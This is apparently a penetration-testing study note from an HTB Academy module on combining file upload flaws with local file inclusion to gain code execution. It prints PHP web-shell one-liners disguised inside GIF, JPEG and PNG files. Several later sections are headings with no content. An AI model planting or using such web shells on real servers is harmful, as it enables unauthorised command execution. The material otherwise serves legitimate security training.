File Upload + LFI

Overview

Combining file upload vulnerabilities with LFI creates powerful attack vectors for achieving RCE when direct wrappers are not available.

Attack Flow:

  1. Upload malicious file disguised as legitimate content

  2. Discover upload location via directory traversal or source disclosure

  3. Include uploaded file via LFI vulnerability

  4. Execute embedded code and achieve RCE


Method 1: Malicious Image Upload

Technique: PHP in Image Files

Step 1: Create Malicious Image

# GIF header with embedded PHP
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif

# JPEG with PHP payload
echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.jpg

# PNG with embedded shell
cp legitimate.png shell.png
echo '<?php system($_GET["cmd"]); ?>' >> shell.png

Step 2: Upload via Web Interface

  • Upload through file upload forms

  • Bypass extension filters

  • Discover upload directory location

Step 3: Execute via LFI


Method 2: Zip Wrapper Technique

Creating Zip-based Payloads

Step 1: Create PHP Shell

Step 2: Upload and Execute


Method 3: Phar Wrapper Technique

PHAR Archive Exploitation

Step 1: Create PHAR Archive

Step 2: Execute via PHAR Wrapper


Upload Location Discovery

Common Upload Directories

Discovery Techniques


[Content continues with more detailed techniques...]

This guide covers file upload + LFI combination techniques from HTB Academy's File Inclusion module.

Last updated